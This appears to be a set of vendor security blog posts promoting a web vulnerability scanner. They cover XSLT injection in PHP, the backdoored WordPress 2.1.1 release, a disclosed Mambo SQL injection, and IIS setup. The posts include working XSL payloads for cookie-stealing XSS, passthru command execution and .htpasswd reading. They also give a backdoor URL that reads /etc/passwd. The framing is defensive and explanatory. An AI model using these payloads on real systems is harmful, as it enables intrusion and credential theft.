1. XSS (Cross Site Scripting). Sample XSL file that will execute Javascript code.

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>

2. Execute PHP code (if registerPHPFunctions is enabled).  XSLTProcessor class has a method named  registerPHPFunctions. This method enables the ability to use PHP functions as XSLT functions within XSL stylesheets.  Sample XSL file that will execute PHP code (works only if  registerPHPFunctions is enabled).

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:value-of select=”php:function(‘passthru’,'ls -la /’)”/>
</xsl:template>
</xsl:stylesheet>

3. Read arbitrary files. There are limitations to which files one can read. transformToXML  method will try to parse the file and will complain if it doesn’t have the right format. You can only read HTML formatted data. However, you can read the first line from any file. This may not sound like much but it could be useful in some situations (for example .htpasswd files).

Sample XSL file
<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:copy-of select=”document(‘.htpasswd’)”/>
</xsl:template>
</xsl:stylesheet>

In my case .htpasswd contains only one line (test:qKMmz/ZMJFHc6).
Including the XSL file above will produce the following output:

<br />
<b>Warning</b>:  XSLTProcessor::transformToXml()

[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: /path/.htpasswd:1: parser error : Start tag expected, '&lt;' not found in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  XSLTProcessor::transformToXml()

[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: test:qKMmz/ZMJFHc6 in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  XSLTProcessor::transformToXml()

[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: ^ in <b>/path/transform.php</b> on line <b>15</b><br />

As you can see, transformToXml found some errors in the first line of this file and it showed the offending line.

To protect against such vulnerability one needs to make sure that he doesn’t use user-supplied input in the XSL filename. The best solution would be to define a list of permitted filenames and only accept XSL filenames from that list.

To test if you application is vulnerable to this vulnerability, scan it with Acunetix Web Vulnerability Scanner.

A search friendly URL looks like this:

Or like this:

However, these kinds of URLs are creating a lot of problems for web vulnerability scanners and their crawlers.

Below is the crawl result of a sample application that is uses the mod_rewrite module:

As seen above, the crawler is confused when dealing with such URLs, thinking that BuyProduct and Details are directories and handling them as such.  Also, the crawler did not find any inputs for this web application therefore cannot test it properly.

In order to handle this kind of situations, in the previous versions of Acunetix WVS we implemented a solution that allows defining rewrite rules through a graphical tool where the user can manually define the rewrite rules and these rules will be parsed by the crawler and the crawler will rewrite the URLs automatically. Another option was to import the file with the rewrite rules.

However, apart from the fact that this is a manual process, the user must manually define the rewrite rules and that’s not always an easy task,  sometimes it’s very complicated or even impossible.  In companies where freelance web developers are hired, usually the administrator auditing the site is only administering the server and is not responsible for the actual content of the site or not familiar with the source code of the site.

Because the AcuSensor Technology has inside information from the scanned application, it can provide information to the crawler about the actual filenames and about input parameters.  Therefore when AcuSensor Technology is enabled on the website, the crawler can correctly parse the site structure and the file inputs and able to properly test the web application.

As seen above, the crawl results for the same site when AcuSensor Technology is enabled, the real files appear in the crawl results: buy.php and details.php.

Also, now the crawler has information about the input parameters for these files (GET param id and the list of possible values). Therefore, the scanner can properly audit the web application.

Other files have been discovered in the application directory (database_connect.php, takeover.php, …).  One of these files also has an input parameter and can be tested even if this file is not directly linked from the website.  With a typical black box scanner such files are never audited.

The AcuSensor Technology is available in Acunetix WVS version 6 and has a number of advantages that will improve the quality of the scan results.

Long story short: If you downloaded WordPress 2.1.1 within the past 3-4 days, your files may include a security exploit that was added by a cracker, and you should upgrade all of your files to 2.1.2 immediately.

Longer explanation: This morning we received a note to our security mailing address about unusual and highly exploitable code in WordPress. The issue was investigated, and it appeared that the 2.1.1 download had been modified from its original code. We took the website down immediately to investigate what happened.
It was determined that a cracker had gained user-level access to one of the servers that powers wordpress.org, and had used that access to modify the download file. We have locked down that server for further forensics, but at this time it appears that the 2.1.1 download was the only thing touched by the attack. They modified two files in WP to include code that would allow for remote PHP execution.

Basically, a cracker gained access to one of the WordPress servers and modified two files from the WordPress installation.  One of these files is theme.php (located in the wp-includes) directory where the cracker inserted the following pieces of the code:

Screenshot 1 – Code from wp-includes/theme.php

This modification introduced a system code execution vulnerability in the WordPress code.
It was possible to read the contents of the /etc/passwd file using an URL like:

http://host/wordpress-2.1.1 infected/wp-includes/theme.php?iz=cat+/etc/passwd

A vulnerability like this one cannot be detected with a typical black box vulnerability scanner. The cracker introduced a new input parameter named ‘iz’ and the value of this parameter is sent through the ‘passthru’ function (the PHP passthru function will execute an external program and display raw output). This input parameter is not directly linked from anywhere; therefore a black box scanner will never know about this parameter and will not test it.

This is where the AcuSensor Technology comes into place; it builds a list with all the inputs from the application (by parsing the source code and intercepting variable access). E.g. on PHP it intercepts all the access to $_GET and $_POST arrays and build a comprehensive list with all the possible inputs. Therefore, when scanning the application with AcuSensor Technology enabled, the ‘iz’ input parameter will be discovered and tested (as shown in the Screenshot 2).

Screenshot 2 – Parameter iz found in theme.php

Even more, the AcuSensor Technology will build a list with all the files in the application directory, therefore allowing us to scan for files which are not directly linked from the website. If an attacker gains access to the website and creates a backdoor file in the application directory, this file will be found and scanned if AcuSensor Technology is enabled.

Screenshot 3 – Application Sensor Data (list of files from current directory)

Because the ‘iz’ parameter is now found, the scanner can test it and report the vulnerability, as shown in the screenshot below.

Screenshot 4 – The alert reported by Acunetix WVS v6 with AcuSensor Technology

While testing AcuSensor Technology on various open source web applications, we found various 0day vulnerabilities.

The following post shows a real life example of how a SQL injection and a Cross site scripting vulnerability were found in Mambo Version 4.6.2 and 4.6.3. Mambo is one of the world’s most popular open source content management systems.

In the file comment.php (located in the “components\com_comment” directory), we have the following code:

Screenshot 1 – Code from comment.php

The above code is used to insert user generated comments into the database.

We can see that ‘articleid’ parameter is not properly sanitized before being used in the SQL query.  This leads to a SQL injection vulnerability in the INSERT SQL statement. This SQL injection can be exploited if magic magic_quotes_gpc is set to OFF.

Another vulnerability is caused by the same input parameter, which is a stored XSS (cross site scripting) vulnerability.

To exploit the vulnerability, we combined both of these vulnerabilities and create a query that will insert a comment with the name and hashed password of the administrator.

The full HTTP request is presented in the screenshot below.

Screenshot 2 – HTTP Request

The application sensors are placed inside the scanned application and can rewrite the source code of the application. For example, sensors will rewrite various database access functions. In PHP, one of these functions is mysql_query. This function will execute an SQL query through the active database connection.

AcuSensor will hook this function and inspect the values passed to this function, being able to reliably detect SQL injection vulnerabilities.

In the screen shot bellow you can see the data returned by the sensor. It’s possible to see the full SQL query, the filename and line number and the complete stack trace. Such information is very helpful for developers to help them troubleshoot and fix the vulnerability in the shortest time possible.

Screenshot 3 – AcuSensor data (SQL query)

Vulnerabilities like these cannot be detected by a typical black box web scanner. An SQL vulnerability in the INSERT statement cannot by detected through blind SQL injection techniques because the INSERT statement does not return anything.

Also, this vulnerability cannot be detected by looking for SQL error messages because this page doesn’t return any error message. When error messages are disabled, a typical black box web scanner will fail.

This kind of vulnerabilities can only be found using the new Acunetix AcuSensor Technology from Acunetix Web Vulnerability Scanner version 6.

This SQL injection vulnerability (and others) were reported to the Mambo Foundation and were fixed in Mambo version 4.6.4.  The fix was announced here.

AcuSensor Injector is using Active Directory Service Interfaces (ADSI) to construct a list of websites and virtual directories. ADSI is not available by default on Windows Server 2008.

To solve this problem you need to install the role service named IIS 6 Metabase Compatibility.

To do this, follow these steps:

1.  Click Start, and then click Control Panel.
2.  Click Programs and Features.
3.  Click Turn Windows features on or off.
4.  On Roles Summary group, click on Web Server (IIS) role
5.  On Roles Services group, click on Add Role Services.
6.  Go to Management Tools->IIS 6 Management Compatibility and enable IIS 6 Metabase Compatibility.
7.  Click Next and Install.

IIS 6 Metabase Compatibility